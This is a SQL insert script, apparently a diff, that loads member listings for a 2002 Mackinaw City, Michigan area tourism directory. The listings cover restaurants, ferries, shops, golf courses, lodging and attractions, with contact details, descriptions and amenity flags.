+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (81,'','',11,1,'t','Scalawags Whitefish & Chips','226 E. Central Avenue','Mackinaw City','MI','49701','US','231-436-7777','','','','www.scalawagswhitefish.com','Specializing in Whitefish & Chips baskets, and a variety of sandwiches. Voted best fish in the North! Fresh fish daily from Bell''s Fishery. Eat in or carry out. Kids menu available. ""Take a Bite out of the Great Lakes."" ','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (82,'','',10,1,'t','Shepler''s Mackinac Island Ferry','Downtown Mackinaw City, P.O. Box 250','Mackinaw City','MI','49701','US','231-436-5023','1-800-828-6157','','sheplers@freeway.net','www.sheplerswww.com','Ride the fastest fleet to Mackinac Island. We get you there safely & comfortably in only 16 minutes! Departures from Mackinaw City & St.Ignace. Acres of free daily & overnight parking, Free shuttle from local hotels & campgrounds. Free luggage handling.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (84,'','',10,1,'t','Star Line Mackinac Island Ferry','711 South Huron Avenue','Mackinaw City','MI','49701','US','231-436-5954','1-800-638-9892','','','www.mackinacferry.com','High Tail It To Mackinac Island"" aboard our fast and exciting Hydro-Jet Ferries. Free day parking; secure overnight parking, indoor and valet parking. Free hotel and campground shuttle service. Call our Customer Service Specialist for group & rate information. See ONLINE COUPON for additional savings. Newest fleet serving Mackinaw City!','boat2.jpg','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (85,'','',3,1,'t','Straits Area Step On Guide Service','P.O. Box 305','Mackinaw City','MI','49701','US','231-436-5050','','','','www.mackinawcity.com/tourguide','Assisting Tour Bus Operators with Fascinating Local Knowledge of the Mackinac Bridge, Colonial Michilimackinac, Mill Creek, Local Shipwreck Lore, Mackinaw City, St.Ignace, Mackinac Island, and Area Lighthouses. Tahquamen Falls and Whitefish Point Shipwreck Museum too! Walking tours of Mackinac Island and Mackinaw City.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (86,'','',11,1,'t','The Admiral''s Table','506 S. Huron Avenue`','Mackinaw City','MI','49701','US','231-436-5687','','','','','Serving Breakfast, Lunch & Dinner. Breakfast Buffet in Season. Featuring fresh broiled fish, prime rib and char-broiled steaks. ','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','t','f','t','t','t','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (87,'','',8,1,'t','The Mackinaw Club','Mackinaw Club Drive, P.O. Box 658','Mackinaw City','MI','49701','US','231-436-7590','','','','','Challenging yet playable Jerry Matthew''s Designed Par 72 Golf Course. Surrounded by the beauty of the Straits of Mackinac, it offers bent grass tees and greens, and an exceptional driving range. Outings and Instruction are available.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (88,'','',9,1,'t','The Opera House','403 North Huron Avenue','Cheboygan','MI','49721','US','231-627-5841','1-800-357-9408','','','www.theoperahouse.org','The Opera House, originally constructed in 1877, played an important role in the history of the colorful lumbering era in Northern Michigan. Year round arts facility, which hosts a variety of artists and attractions from all over the world. ','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (91,'','',6,1,'t','Traverse Bay Woolen Company','312 South Huron Avenue','Mackinaw City','MI','49701','US','231-436-5402','888-436-4326','','','www.traversebaywoolen.com','Traverse Bay Woolen Company - Products reflecting the special nature and culture of the north woods. Natural Fiber Sweaters, Outdoor wear, Hudson Bay Blankets, Furniture, Accessories, Gifts, and Keepsakes.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (93,'','',9,1,'t','Mackinaw Parasailing by Waterventures','Boat Slip #1 - Mackinaw City Marina','Mackinaw City','MI','49701','US','231-436-7144','winter # 231-53','','','www.mackinawparasailing.com','Parasailing is exciting for everyone, come view the straits of Mackinac from a new perspective. Our custom boat enables the parasailer to take off & land directly from the flight deck, making for a smooth dry parasail flight. We offer single and double flights. Reservations required, Memorial Day thru Labor Day.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (94,'','',6,1,'t','Fort Fudge Shop, Inc.','113 Straits','Mackinaw City','MI','49701','US','231-436-8931','','','','www.fortfudge shop.com','Across from the Fort. Fudge, brittles, caramel corn made daily. A full line of sugar-free candies. Mail orders promptly shipped. Souvenirs, Moccasins, Film, & Gifts. Wholesale & Fundraising.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (96,'','',11,1,'t','Growley Bear Coffee Company','312 S. Huron Avenue','Mackinaw City','MI','49701','US','','','','','','There''s no better place to stop in for a robust coffee than our newest addition, on the deck at Animal Tracks Golf. Delectable cappuccino, espresso and latte blends will give you a warm taste of the simple pleasures so characteristic of the north.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (97,'','',3,1,'t','Harrington Group Advertising','321 E. Lake Street','Petoskey','MI','49770','US','231-347-0670','','','mike@theharringtongroup. net','','Advertising Firm, Public Relations and Sales Consultants','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (98,'','',8,1,'t','Hidden River Golf & Casting Club','7688 Maple River Rd.','Brutus','MI','49716','US','231-529-4653','800-325-Golf','231-529-4611','info@hiddenriver.com','www.hiddenriver.com','Hidden River was created on a one in a million piece of property. Features include stands of pine, hardwoods, elevation changes, natural dune areas, and the Maple River winding through the site. Five sets of tees will challenge all levels of golfers. ','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (99,'','',5,1,'t','Huron Distributors','5555 M-68 Hwy','Indian River','MI','49749','US','','','','','','','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (100,'','',6,1,'t','Hush Puppies Factory Direct','402 S. Huron Avenue','Mackinaw City','MI','49701','US','231-436-5321','','','','','OPEN ALL YEAR. Footwear for the Family.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (101,'','',6,1,'t','Joann''s Fudge','303 E. Central Avenue','Mackinaw City','MI','49701','US','231-436-5611','','','','www.joannsfudge.com','Fudge made daily with all natural ingredients. Hand dipped chocolates, Ice Cream, English toffee, turtles & peanut brittle. Phone & Mail orders accepted.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (102,'','',9,1,'t','Kewadin Casinos','3039 Mackinac Trail','St.Ignace','MI','49781','US','906-643-7071','800-KEWADIN','','','www.kewadin.com','Kewadin Shores in St. Ignance features Vegas-style gaming and entertainment with over 1100 slots, poker, blackjack, roulette, keno, craps and more! Plus buffet style dining at The Market Square Buffet. Also visit our other lacations in Sault Ste. Marie, Hessel, christmas, and Manistique, Michigan.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (103,'','',11,1,'t','Lighthouse Restaurant and Lounge','618 South Huron Avenue P.O. Box 698','Mackinaw City','MI','49701','US','231-436-5191','','','mackinawdining@aol.com','www.mackinawdining.com','AAA Open May 1 to Nov 1 Daily at 4p.m.. We serve fresh fish, choice steaks & prime rib, all u can eat crablegs, as well as a variety of seafood. Childrens menu. Beer, Wine & Cocktails.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (105,'','',11,1,'t','Mackinaw Bakery & Coffee House','110 Langlade','Mackinaw City','MI','49701','US','231-436-5525','','','','','Across from Shepler''s Ferry Dock. Complete line of homemade baked goods & Homemade Sandwiches. Birthday cakes & old fashioned salt rising bread. Ice cream cones, cappuccino, coffee - in or out. Homemade pasties baked fresh daily. Open 7 days a week.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (106,'','',6,1,'t','Mackinaw Clothing','319 E. Central Avenue','Mackinaw City','MI','49701','US','231-436-8411','','231-436-7342','','','Quality clothing featuring Woolrich - Jantzen - Northern Isles - Columbia - Alps & Rocky Shoes for men and women. Woolrich & Hudson''s Bay Blankets, Baby Togs.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (109,'','',6,1,'t','Marshall''s Fudge & Gifts','308 E. Central Avenue','Mackinaw City','MI','49701','US','231-436-5082','800-343-8343','','','www.marshallsfudge.com','Fine handmade candies made fresh daily from our 114 year old recipes. There is a difference - come taste the best. Open Year Round. Fresh Cream Fudge, Crunchy Nut Brittles, Caramel Corn, Pecan Logs, Sweet Cream Caramels, & more. Mail orders all year. ','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (324,'','',6,1,'t','Mackinaw Building Center','112 E. Central Avenue','Mackinaw City','MI','49701','US','231-436-5712','','231-436-7061','','','Open year ''round. Branch of Cheboygan Lumber-Do It Best Across America. Hardware, lumber, house wares, gifts, camping & sporting supplies.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (110,'','',8,1,'t','Wilderness Golf Course','10500 Cecil Bay Rd.','Carp Lake','MI','49718','US','231-537-4973','','','','','A challenging 9-hole course on C-81, 10 miles SW of Mackinaw City. It''s user friendly appearance with no sand and little water is deceptive as it yields few pars. Play a leisurly game of golf ""For the fun of it"" No tee time required. Rental carts avail.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (112,'','',10,1,'t','Wolverine Stages','Pellston Regional Airport','Pellston','MI','49769','US','231-539-8635','800-825-1450','231-539-8969','','www.wolverinestages.com','Specializing in ground transportation to Mackinac Island Boat Docks and Surrounding areas. Charter Bus Service. Group transfers to convention or meeting destinations. Individual taxi or chauffeured limousine service for special occasions. ','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (113,'','',6,1,'t','Teysen''s Gift Shop & Gallery','300 E. Central Avenue','Mackinaw City','MI','49701','US','231-436-7011','','231-436-5932','','www.teysens.com','Serving the Mackinaw Traveler for over 75 years. Unique Indian artwork, Many collectable lines, Beanie Babies plus fresh homemade, Mackinaw Fudge."" Our Gallery Features the unique Wooden Gallery Process""','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (114,'','',9,1,'t','Traverse Bay Casino','2331 North West Bay Shore Drive','Suttons Bay','MI','49682','US','','800-922-2WIN','','','www.casino2win.com','A great entertainment and adventure awaits you. Leelanau Sands Casino in Peshawbestown, 20 miles North of Traverse City, or Turtle Creek Casino in Williamsburg just minutes from Traverse City on M-72. Play your favorite games, hear your artists, and indulge yourself with your favorite food at either casino. Other amenities, Convention Center and Leelanau Sands Showroom.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (115,'','',9,1,'t','Center Stage Theater','Located in Mackinaw Crossings','Mackinaw City','MI','49701','US','231-436-2200','877-437-8243','','','www.mackinawcrossings.com/lost.html','830 Seat Live Theater featuring ""L''Harmonie"" The Miracle of Music ! The most special moments in life are harmonious ones......when all seems right in the world. Two hours of tempos and tunes will not forget the impact of pop, classical, soul, disco and rap on memorable moments of our lives. As if riding the waves of a magical spell, music speaks to the heart. So sit back enjoy the moment and celebrate that ""something special"" feeling....Live in ""L''Harmonie""....Live the Miracle!','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (116,'','',1,2,'t','Deer Head Lodge Bed and Breakfast','109 Henry Street','Mackinaw City','MI','49701','US','231-436-3337','','','bdean@deerhead.com','www.deerhead.com','Capture the spirit of the north in this 1913 arts & crafts home. Enjoy a cozy fire, then relax in a claw foot bath tub and snuggle up in your feather bed beneath a designer comforter. Share a scrumptious breakfast and conversation before exploring shops, island and up north sights.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','t','f','f','f','f','f','t',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (117,'','',1,2,'t','Brigadoon Bed & Breakfast','207 Langlade St.','Mackinaw City','MI','49701','US','231-436-8882','','','info@mackinawbrigadoon.com','www.mackinawbrigadoon.com','Enjoy your visit to Mackinaw City by staying at our elegant bed & breakfast, featuring king/queen poster beds, private baths with whirlpools and heated marble floors, and fireplaces in each suite. Homemade breakfast in our veranda is included! We are located just 1 block north of downtown Central Avenue','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','t','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (118,'','',1,6,'t','Hampton Inn','726 South Huron Avenue','Mackinaw City','MI','49701','US','231-436-STAY','1-800-HAMPTON','231-436-9881','','www.hilton.com/en/hp/hotels/index.jhtml?ctyhocn=MACMIHX','Newest in Town. AAA 3 Diamond. Free Breakfast, Free Newspaper & Free Local Phone Calls. Indoor htd pool. Interior Corridor & Elevator. Non-smk Floor available. In room Coffee & Iron/Ironing Boards. Near Ferry Boats, Shopping, Theatre & Restaurants. ','','','','','','','2002-12-12','2002-12-12','t','f','f','f','f','f','f','f','t','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (119,'','',10,1,'t','Mackinaw Airport Shuttle/Limosine','','Mackinaw City','MI','49701','US','','888-349-8294','','mackinawshuttle@racc2000.com','www.mackinawshuttle.com','Airport shuttle serving Pellston Regional, Sault Ste. Marie, Traverse City Airports - To all Mackinaw City, MI Ferries & Hotels. Call for rates. Pickup service 7 am to midnight. 7 Days per week in season / 24 hour service by reservation. Group Rates. Private Coach available to Private Plane, Conventions, Weddings, Private Parties, Cruise Ships. ','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (121,'','',11,1,'t','Mancino''s of Mackinaw City','717 Nicolet St.','Mackinaw City','MI','49701','US','231-436-7474','','231-436-7373','mancinos@vayager.com','mancinosofmackinaw.20m.com','Pizza, Grinders, Salads, Appetizers, Free Delivery, Dine in or carry out. 22 Different sandwiches. Cappuccino - Iced Mocha drinks. Hours 7 days (summer) 11am to 11pm (winter) 11am to 10pm.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (122,'','',9,1,'t','Mackinaw Trolley Company','706 South Huron Avenue., P.O. Box 358','Mackinaw City','MI','49701','US','231-436-7812','877-858-0357','','','www.mackinawtrolley.com','Tour with the Mackinaw Trolley- History Tour over the Bridge, Mackinaw Trolley Trail Tour, Lighthouses,Ships & Shipwreck Tour & Fall Color Tour. Check out our web site for more information on Tours offered during the 2002 season.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (123,'','',9,1,'t','Soo Locks Dinner Cruises','515 & 1157 E. Portage Avenue','Sault Ste Marie','MI','49783','US','906-632-6301','800-432-6301','','','www.soolocks.com','Another way to experience ""locking through"" is aboard a Sunset Dinner Cruise with Lock Tour. Enjoy a leisurely cruise on the St.Mary''s River, sightseeing in Sugar Island''s Old North Channel, and ride trhough the Soo Locks while enjoying a delicious buffet style dinner with dessert. The Dinner Cruise is approximately 2 1/2 hours, dress is casual, and reservations are recommended.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (125,'','',1,6,'t','Flamingo Motel','13959 Mackinaw Terrace','Mackinaw City','MI','49701','US','231-436-8751','','','','','','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
